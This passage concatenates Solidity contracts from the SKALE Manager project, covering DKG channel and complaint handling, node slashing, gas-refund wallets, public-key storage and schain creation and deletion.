* Requirements:
*
* - Channel must exist.
*/
function deleteChannel(bytes32 schainHash) external override allow("SchainsInternal") {
delete channels[schainHash];
delete dkgProcess[schainHash];
delete complaints[schainHash];
KeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainHash);
}
function setStartAlrightTimestamp(bytes32 schainHash) external allow("SkaleDKG") {
startAlrightTimestamp[schainHash] = now;
}
function setBadNode(bytes32 schainHash, uint nodeIndex) external allow("SkaleDKG") {
_badNodes[schainHash] = nodeIndex;
}
function finalizeSlashing(bytes32 schainHash, uint badNode) external allow("SkaleDKG") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal")
);
emit BadGuy(badNode);
emit FailedDKG(schainHash);
schainsInternal.makeSchainNodesInvisible(schainHash);
if (schainsInternal.isAnyFreeNode(schainHash)) {
uint newNode = nodeRotation.rotateNode(
badNode,
schainHash,
false,
true
);
emit NewGuy(newNode);
} else {
_openChannel(schainHash);
schainsInternal.removeNodeFromSchain(
badNode,
schainHash
);
channels[schainHash].active = false;
}
schainsInternal.makeSchainNodesVisible(schainHash);
Punisher(contractManager.getPunisher()).slash(
Nodes(contractManager.getContract("Nodes")).getValidatorId(badNode),
SlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG")
);
}
function getChannelStartedTime(bytes32 schainHash) external view returns (uint) {
return channels[schainHash].startedBlockTimestamp;
}
function getChannelStartedBlock(bytes32 schainHash) external view returns (uint) {
return channels[schainHash].startedBlock;
}
function getNumberOfBroadcasted(bytes32 schainHash) external view returns (uint) {
return dkgProcess[schainHash].numberOfBroadcasted;
}
function getNumberOfCompleted(bytes32 schainHash) external view returns (uint) {
return dkgProcess[schainHash].numberOfCompleted;
}
function getTimeOfLastSuccessfulDKG(bytes32 schainHash) external view returns (uint) {
return lastSuccessfulDKG[schainHash];
}
function getComplaintData(bytes32 schainHash) external view returns (uint, uint) {
return (complaints[schainHash].fromNodeToComplaint, complaints[schainHash].nodeToComplaint);
}
function getComplaintStartedTime(bytes32 schainHash) external view returns (uint) {
return complaints[schainHash].startComplaintBlockTimestamp;
}
function getAlrightStartedTime(bytes32 schainHash) external view returns (uint) {
return startAlrightTimestamp[schainHash];
}
/**
* @dev Checks whether channel is opened.
*/
function isChannelOpened(bytes32 schainHash) external override view returns (bool) {
return channels[schainHash].active;
}
function isLastDKGSuccessful(bytes32 schainHash) external override view returns (bool) {
return channels[schainHash].startedBlockTimestamp <= lastSuccessfulDKG[schainHash];
}
/**
* @dev Checks whether broadcast is possible.
*/
function isBroadcastPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false);
return channels[schainHash].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
!dkgProcess[schainHash].broadcasted[index];
}
/**
* @dev Checks whether complaint is possible.
*/
function isComplaintPossible(
bytes32 schainHash,
uint fromNodeIndex,
uint toNodeIndex
)
external
view
returns (bool)
{
(uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainHash, fromNodeIndex, false);
(uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainHash, toNodeIndex, false);
if (!checkFrom || !checkTo)
return false;
bool complaintSending = (
complaints[schainHash].nodeToComplaint == uint(-1) &&
dkgProcess[schainHash].broadcasted[indexTo] &&
!dkgProcess[schainHash].completed[indexFrom]
) ||
(
dkgProcess[schainHash].broadcasted[indexTo] &&
complaints[schainHash].startComplaintBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp &&
complaints[schainHash].nodeToComplaint == toNodeIndex
) ||
(
!dkgProcess[schainHash].broadcasted[indexTo] &&
complaints[schainHash].nodeToComplaint == uint(-1) &&
channels[schainHash].startedBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp
) ||
(
complaints[schainHash].nodeToComplaint == uint(-1) &&
isEveryoneBroadcasted(schainHash) &&
dkgProcess[schainHash].completed[indexFrom] &&
!dkgProcess[schainHash].completed[indexTo] &&
startAlrightTimestamp[schainHash].add(_getComplaintTimelimit()) <= block.timestamp
);
return channels[schainHash].active &&
dkgProcess[schainHash].broadcasted[indexFrom] &&
_isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) &&
complaintSending;
}
/**
* @dev Checks whether sending Alright response is possible.
*/
function isAlrightPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false);
return channels[schainHash].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
channels[schainHash].n == dkgProcess[schainHash].numberOfBroadcasted &&
(complaints[schainHash].fromNodeToComplaint != nodeIndex ||
(nodeIndex == 0 && complaints[schainHash].startComplaintBlockTimestamp == 0)) &&
!dkgProcess[schainHash].completed[index];
}
/**
* @dev Checks whether sending a pre-response is possible.
*/
function isPreResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) {
(, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false);
return channels[schainHash].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
complaints[schainHash].nodeToComplaint == nodeIndex &&
!complaints[schainHash].isResponse;
}
/**
* @dev Checks whether sending a response is possible.
*/
function isResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) {
(, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false);
return channels[schainHash].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
complaints[schainHash].nodeToComplaint == nodeIndex &&
complaints[schainHash].isResponse;
}
function isNodeBroadcasted(bytes32 schainHash, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false);
return check && dkgProcess[schainHash].broadcasted[index];
}
/**
* @dev Checks whether all data has been received by node.
*/
function isAllDataReceived(bytes32 schainHash, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false);
return check && dkgProcess[schainHash].completed[index];
}
function hashData(
KeyShare[] memory secretKeyContribution,
G2Operations.G2Point[] memory verificationVector
)
external
pure
returns (bytes32)
{
bytes memory data;
for (uint i = 0; i < secretKeyContribution.length; i++) {
data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share);
}
for (uint i = 0; i < verificationVector.length; i++) {
data = abi.encodePacked(
data,
verificationVector[i].x.a,
verificationVector[i].x.b,
verificationVector[i].y.a,
verificationVector[i].y.b
);
}
return keccak256(data);
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
function checkAndReturnIndexInGroup(
bytes32 schainHash,
uint nodeIndex,
bool revertCheck
)
public
view
returns (uint, bool)
{
uint index = SchainsInternal(contractManager.getContract("SchainsInternal"))
.getNodeIndexInGroup(schainHash, nodeIndex);
if (index >= channels[schainHash].n && revertCheck) {
revert("Node is not in this group");
}
return (index, index < channels[schainHash].n);
}
function _refundGasBySchain(bytes32 schainHash, uint gasTotal, Context memory context) private {
Wallets wallets = Wallets(payable(contractManager.getContract("Wallets")));
bool isLastNode = channels[schainHash].n == dkgProcess[schainHash].numberOfCompleted;
if (context.dkgFunction == DkgFunction.Alright && isLastNode) {
wallets.refundGasBySchain(
schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(74800), context.isDebt
);
} else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 14e5) {
wallets.refundGasBySchain(
schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(590000), context.isDebt
);
} else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 7e5) {
wallets.refundGasBySchain(
schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(250000), context.isDebt
);
} else if (context.dkgFunction == DkgFunction.Response){
wallets.refundGasBySchain(
schainHash, msg.sender, gasTotal.sub(gasleft()).sub(context.delta), context.isDebt
);
} else {
wallets.refundGasBySchain(
schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta), context.isDebt
);
}
}
function _refundGasByValidatorToSchain(bytes32 schainHash) private {
uint validatorId = Nodes(contractManager.getContract("Nodes"))
.getValidatorId(_badNodes[schainHash]);
Wallets(payable(contractManager.getContract("Wallets")))
.refundGasByValidatorToSchain(validatorId, schainHash);
delete _badNodes[schainHash];
}
function _openChannel(bytes32 schainHash) private {
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal")
);
uint len = schainsInternal.getNumberOfNodesInGroup(schainHash);
channels[schainHash].active = true;
channels[schainHash].n = len;
delete dkgProcess[schainHash].completed;
delete dkgProcess[schainHash].broadcasted;
dkgProcess[schainHash].broadcasted = new bool[](len);
dkgProcess[schainHash].completed = new bool[](len);
complaints[schainHash].fromNodeToComplaint = uint(-1);
complaints[schainHash].nodeToComplaint = uint(-1);
delete complaints[schainHash].startComplaintBlockTimestamp;
delete dkgProcess[schainHash].numberOfBroadcasted;
delete dkgProcess[schainHash].numberOfCompleted;
channels[schainHash].startedBlockTimestamp = now;
channels[schainHash].startedBlock = block.number;
KeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainHash);
emit ChannelOpened(schainHash);
}
function isEveryoneBroadcasted(bytes32 schainHash) public view returns (bool) {
return channels[schainHash].n == dkgProcess[schainHash].numberOfBroadcasted;
}
function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) {
return Nodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex);
}
function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view {
require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender");
}
function _getComplaintTimelimit() private view returns (uint) {
return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Wallets.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@skalenetwork/skale-manager-interfaces/IWallets.sol";
import "./Permissions.sol";
import "./delegation/ValidatorService.sol";
import "./SchainsInternal.sol";
import "./Nodes.sol";
/**
* @title Wallets
* @dev Contract contains logic to perform automatic self-recharging ether for nodes
*/
contract Wallets is Permissions, IWallets {
mapping (uint => uint) private _validatorWallets;
mapping (bytes32 => uint) private _schainWallets;
mapping (bytes32 => uint) private _schainDebts;
/**
* @dev Emitted when the validator wallet was funded
*/
event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId);
/**
* @dev Emitted when the schain wallet was funded
*/
event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainHash);
/**
* @dev Emitted when the node received a refund from validator to its wallet
*/
event NodeRefundedByValidator(address node, uint validatorId, uint amount);
/**
* @dev Emitted when the node received a refund from schain to its wallet
*/
event NodeRefundedBySchain(address node, bytes32 schainHash, uint amount);
/**
* @dev Is executed on a call to the contract with empty calldata.
* This is the function that is executed on plain Ether transfers,
* so validator or schain owner can use usual transfer ether to recharge wallet.
*/
receive() external payable {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32[] memory schainHashs = schainsInternal.getSchainHashsByAddress(msg.sender);
if (schainHashs.length == 1) {
rechargeSchainWallet(schainHashs[0]);
} else {
uint validatorId = validatorService.getValidatorId(msg.sender);
rechargeValidatorWallet(validatorId);
}
}
/**
* @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds
* the node will receive the entire remaining amount in the validator's wallet.
* `validatorId` - validator that will reimburse desired transaction
* `spender` - address to send reimbursed funds
* `spentGas` - amount of spent gas that should be reimbursed to desired node
*
* Emits a {NodeRefundedByValidator} event.
*
* Requirements:
* - Given validator should exist
*/
function refundGasByValidator(
uint validatorId,
address payable spender,
uint spentGas
)
external
allowTwo("SkaleManager", "SkaleDKG")
{
require(validatorId != 0, "ValidatorId could not be zero");
uint amount = tx.gasprice * spentGas;
if (amount <= _validatorWallets[validatorId]) {
_validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount);
emit NodeRefundedByValidator(spender, validatorId, amount);
spender.transfer(amount);
} else {
uint wholeAmount = _validatorWallets[validatorId];
// solhint-disable-next-line reentrancy
delete _validatorWallets[validatorId];
emit NodeRefundedByValidator(spender, validatorId, wholeAmount);
spender.transfer(wholeAmount);
}
}
/**
* @dev Returns the amount owed to the owner of the chain by the validator,
* if the validator does not have enough funds, then everything
* that the validator has will be returned to the owner of the chain.
*/
function refundGasByValidatorToSchain(uint validatorId, bytes32 schainHash) external allow("SkaleDKG") {
uint debtAmount = _schainDebts[schainHash];
uint validatorWallet = _validatorWallets[validatorId];
if (debtAmount <= validatorWallet) {
_validatorWallets[validatorId] = validatorWallet.sub(debtAmount);
} else {
debtAmount = validatorWallet;
delete _validatorWallets[validatorId];
}
_schainWallets[schainHash] = _schainWallets[schainHash].add(debtAmount);
delete _schainDebts[schainHash];
}
/**
* @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds
* than transaction will be reverted.
* `schainHash` - schain that will reimburse desired transaction
* `spender` - address to send reimbursed funds
* `spentGas` - amount of spent gas that should be reimbursed to desired node
* `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator
*
* Emits a {NodeRefundedBySchain} event.
*
* Requirements:
* - Given schain should exist
* - Schain wallet should have enough funds
*/
function refundGasBySchain(
bytes32 schainHash,
address payable spender,
uint spentGas,
bool isDebt
)
external
override
allowTwo("SkaleDKG", "MessageProxyForMainnet")
{
uint amount = tx.gasprice * spentGas;
if (isDebt) {
amount += (_schainDebts[schainHash] == 0 ? 21000 : 6000) * tx.gasprice;
_schainDebts[schainHash] = _schainDebts[schainHash].add(amount);
}
require(schainHash != bytes32(0), "SchainHash cannot be null");
require(amount <= _schainWallets[schainHash], "Schain wallet has not enough funds");
_schainWallets[schainHash] = _schainWallets[schainHash].sub(amount);
emit NodeRefundedBySchain(spender, schainHash, amount);
spender.transfer(amount);
}
/**
* @dev Withdraws money from schain wallet. Possible to execute only after deleting schain.
* `schainOwner` - address of schain owner that will receive rest of the schain balance
* `schainHash` - schain wallet from which money is withdrawn
*
* Requirements:
* - Executable only after initing delete schain
*/
function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainHash) external allow("Schains") {
uint amount = _schainWallets[schainHash];
delete _schainWallets[schainHash];
schainOwner.transfer(amount);
}
/**
* @dev Withdraws money from vaildator wallet.
* `amount` - the amount of money in wei
*
* Requirements:
* - Validator must have sufficient withdrawal amount
*/
function withdrawFundsFromValidatorWallet(uint amount) external {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
uint validatorId = validatorService.getValidatorId(msg.sender);
require(amount <= _validatorWallets[validatorId], "Balance is too low");
_validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount);
msg.sender.transfer(amount);
}
function getSchainBalance(bytes32 schainHash) external view returns (uint) {
return _schainWallets[schainHash];
}
function getValidatorBalance(uint validatorId) external view returns (uint) {
return _validatorWallets[validatorId];
}
/**
* @dev Recharge the validator wallet by id.
* `validatorId` - id of existing validator.
*
* Emits a {ValidatorWalletRecharged} event.
*
* Requirements:
* - Given validator must exist
*/
function rechargeValidatorWallet(uint validatorId) public payable {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
require(validatorService.validatorExists(validatorId), "Validator does not exists");
_validatorWallets[validatorId] = _validatorWallets[validatorId].add(msg.value);
emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId);
}
/**
* @dev Recharge the schain wallet by schainHash (hash of schain name).
* `schainHash` - id of existing schain.
*
* Emits a {SchainWalletRecharged} event.
*
* Requirements:
* - Given schain must be created
*/
function rechargeSchainWallet(bytes32 schainHash) public payable override {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
require(schainsInternal.isSchainActive(schainHash), "Schain should be active for recharging");
_schainWallets[schainHash] = _schainWallets[schainHash].add(msg.value);
emit SchainWalletRecharged(msg.sender, msg.value, schainHash);
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
KeyStorage.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Decryption.sol";
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./thirdparty/ECDH.sol";
import "./utils/Precompiled.sol";
import "./utils/FieldOperations.sol";
contract KeyStorage is Permissions {
using Fp2Operations for Fp2Operations.Fp2Point;
using G2Operations for G2Operations.G2Point;
struct BroadcastedData {
KeyShare[] secretKeyContribution;
G2Operations.G2Point[] verificationVector;
}
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
// Unused variable!!
mapping(bytes32 => mapping(uint => BroadcastedData)) private _data;
//
mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress;
mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys;
// Unused variable
mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys;
//
mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys;
function deleteKey(bytes32 schainHash) external allow("SkaleDKG") {
_previousSchainsPublicKeys[schainHash].push(_schainsPublicKeys[schainHash]);
delete _schainsPublicKeys[schainHash];
delete _data[schainHash][0];
delete _schainsNodesPublicKeys[schainHash];
}
function initPublicKeyInProgress(bytes32 schainHash) external allow("SkaleDKG") {
_publicKeysInProgress[schainHash] = G2Operations.getG2Zero();
}
function adding(bytes32 schainHash, G2Operations.G2Point memory value) external allow("SkaleDKG") {
require(value.isG2(), "Incorrect g2 point");
_publicKeysInProgress[schainHash] = value.addG2(_publicKeysInProgress[schainHash]);
}
function finalizePublicKey(bytes32 schainHash) external allow("SkaleDKG") {
if (!_isSchainsPublicKeyZero(schainHash)) {
_previousSchainsPublicKeys[schainHash].push(_schainsPublicKeys[schainHash]);
}
_schainsPublicKeys[schainHash] = _publicKeysInProgress[schainHash];
delete _publicKeysInProgress[schainHash];
}
function getCommonPublicKey(bytes32 schainHash) external view returns (G2Operations.G2Point memory) {
return _schainsPublicKeys[schainHash];
}
function getPreviousPublicKey(bytes32 schainHash) external view returns (G2Operations.G2Point memory) {
uint length = _previousSchainsPublicKeys[schainHash].length;
if (length == 0) {
return G2Operations.getG2Zero();
}
return _previousSchainsPublicKeys[schainHash][length - 1];
}
function getAllPreviousPublicKeys(bytes32 schainHash) external view returns (G2Operations.G2Point[] memory) {
return _previousSchainsPublicKeys[schainHash];
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
function _isSchainsPublicKeyZero(bytes32 schainHash) private view returns (bool) {
return _schainsPublicKeys[schainHash].x.a == 0 &&
_schainsPublicKeys[schainHash].x.b == 0 &&
_schainsPublicKeys[schainHash].y.a == 0 &&
_schainsPublicKeys[schainHash].y.b == 0;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SlashingTable.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
import "./ConstantsHolder.sol";
/**
* @title Slashing Table
* @dev This contract manages slashing conditions and penalties.
*/
contract SlashingTable is Permissions {
mapping (uint => uint) private _penalties;
bytes32 public constant PENALTY_SETTER_ROLE = keccak256("PENALTY_SETTER_ROLE");
/**
* @dev Allows the Owner to set a slashing penalty in SKL tokens for a
* given offense.
*/
function setPenalty(string calldata offense, uint penalty) external {
require(hasRole(PENALTY_SETTER_ROLE, msg.sender), "PENALTY_SETTER_ROLE is required");
_penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty;
}
/**
* @dev Returns the penalty in SKL tokens for a given offense.
*/
function getPenalty(string calldata offense) external view returns (uint) {
uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))];
return penalty;
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Schains.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@skalenetwork/skale-manager-interfaces/ISchains.sol";
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./ConstantsHolder.sol";
import "./KeyStorage.sol";
import "./SkaleVerifier.sol";
import "./utils/FieldOperations.sol";
import "./NodeRotation.sol";
import "./interfaces/ISkaleDKG.sol";
import "./Wallets.sol";
/**
* @title Schains
* @dev Contains functions to manage Schains such as Schain creation,
* deletion, and rotation.
*/
contract Schains is Permissions, ISchains {
struct SchainParameters {
uint lifetime;
uint8 typeOfSchain;
uint16 nonce;
string name;
}
bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE");
/**
* @dev Emitted when an schain is created.
*/
event SchainCreated(
string name,
address owner,
uint partOfNode,
uint lifetime,
uint numberOfNodes,
uint deposit,
uint16 nonce,
bytes32 schainHash,
uint time,
uint gasSpend
);
/**
* @dev Emitted when an schain is deleted.
*/
event SchainDeleted(
address owner,
string name,
bytes32 indexed schainHash
);
/**
* @dev Emitted when a node in an schain is rotated.
*/
event NodeRotated(
bytes32 schainHash,
uint oldNode,
uint newNode
);
/**
* @dev Emitted when a node is added to an schain.
*/
event NodeAdded(
bytes32 schainHash,
uint newNode
);
/**
* @dev Emitted when a group of nodes is created for an schain.
*/
event SchainNodes(
string name,
bytes32 schainHash,
uint[] nodesInGroup,
uint time,
uint gasSpend
);
/**
* @dev Allows SkaleManager contract to create an Schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type is valid.
* - There is sufficient deposit to create type of schain.
*/
function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") {
SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data);
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp();
uint minSchainLifetime = constantsHolder.minimalSchainLifetime();
require(now >= schainCreationTimeStamp, "It is not a time for creating Schain");
require(
schainParameters.lifetime >= minSchainLifetime,
"Minimal schain lifetime should be satisfied"
);
require(
getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit,
"Not enough money to create Schain");
_addSchain(from, deposit, schainParameters);
}
/**
* @dev Allows the foundation to create an Schain without tokens.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - sender is granted with SCHAIN_CREATOR_ROLE
* - Schain type is valid.
*/
function addSchainByFoundation(
uint lifetime,
uint8 typeOfSchain,
uint16 nonce,
string calldata name,
address schainOwner
)
external
payable
{
require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain");
SchainParameters memory schainParameters = SchainParameters({
lifetime: lifetime,
typeOfSchain: typeOfSchain,
nonce: nonce,
name: name
});
address _schainOwner;
if (schainOwner != address(0)) {
_schainOwner = schainOwner;
} else {
_schainOwner = msg.sender;
}
_addSchain(_schainOwner, 0, schainParameters);
bytes32 schainHash = keccak256(abi.encodePacked(name));
Wallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainHash);
}
/**
* @dev Allows SkaleManager to remove an schain from the network.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Executed by schain owner.
*/
function deleteSchain(address from, string calldata name) external allow("SkaleManager") {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
require(
schainsInternal.isOwnerAddress(from, schainHash),
"Message sender is not the owner of the Schain"
);
_deleteSchain(name, schainsInternal);
}
/**
* @dev Allows SkaleManager to delete any Schain.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Schain exists.
*/
function deleteSchainByRoot(string calldata name) external allow("SkaleManager") {
_deleteSchain(name, SchainsInternal(contractManager.getContract("SchainsInternal")));
}
/**
* @dev Allows SkaleManager contract to restart schain creation by forming a
* new schain group. Executed when DKG procedure fails and becomes stuck.
*
* Emits a {NodeAdded} event.
*
* Requirements:
*
* - Previous DKG procedure must have failed.
* - DKG failure got stuck because there were no free nodes to rotate in.
* - A free node must be released in the network.
*/
function restartSchainCreation(string calldata name) external allow("SkaleManager") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
require(!skaleDKG.isLastDKGSuccessful(schainHash), "DKG success");
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal"));
require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes for new group formation");
uint newNodeIndex = nodeRotation.selectNodeToGroup(schainHash);
skaleDKG.openChannel(schainHash);
emit NodeAdded(schainHash, newNodeIndex);
}
/**
* @dev addSpace - return occupied space to Node
* nodeIndex - index of Node at common array of Nodes
* partOfNode - divisor of given type of Schain
*/
function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
nodes.addSpaceToNode(nodeIndex, partOfNode);
}
/**
* @dev Checks whether schain group signature is valid.
*/
function verifySchainSignature(
uint signatureA,
uint signatureB,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
string calldata schainName
)
external
view
override
returns (bool)
{
SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier"));
G2Operations.G2Point memory publicKey = KeyStorage(
contractManager.getContract("KeyStorage")
).getCommonPublicKey(
keccak256(abi.encodePacked(schainName))
);
return skaleVerifier.verify(
Fp2Operations.Fp2Point({
a: signatureA,
b: signatureB
}),
hash, counter,
hashA, hashB,
publicKey
);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Returns the current price in SKL tokens for given Schain type and lifetime.
*/
function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
uint nodeDeposit = constantsHolder.NODE_DEPOSIT();
uint numberOfNodes;
uint8 divisor;
(divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain);
if (divisor == 0) {
return 1e18;
} else {
uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2)));
uint down = uint(
uint(constantsHolder.SMALL_DIVISOR())
.mul(uint(constantsHolder.SECONDS_TO_YEAR()))
.div(divisor)
);
return up.div(down);
}
}
/**
* @dev Initializes an schain in the SchainsInternal contract.
*
* Requirements:
*
* - Schain name is not already in use.
*/
function _initializeSchainInSchainsInternal(
string memory name,
address from,
uint deposit,
uint lifetime,
SchainsInternal schainsInternal
)
private
{
require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available");
// initialize Schain
schainsInternal.initializeSchain(name, from, lifetime, deposit);
schainsInternal.setSchainIndex(keccak256(abi.encodePacked(name)), from);
}
/**
* @dev Converts data from bytes to normal schain parameters of lifetime,
* type, nonce, and name.
*/
function _fallbackSchainParametersDataConverter(bytes memory data)
private
pure
returns (SchainParameters memory schainParameters)
{
(schainParameters.lifetime,
schainParameters.typeOfSchain,
schainParameters.nonce,
schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string));
}
/**
* @dev Allows creation of node group for Schain.
*
* Emits an {SchainNodes} event.
*/
function _createGroupForSchain(
string memory schainName,
bytes32 schainHash,
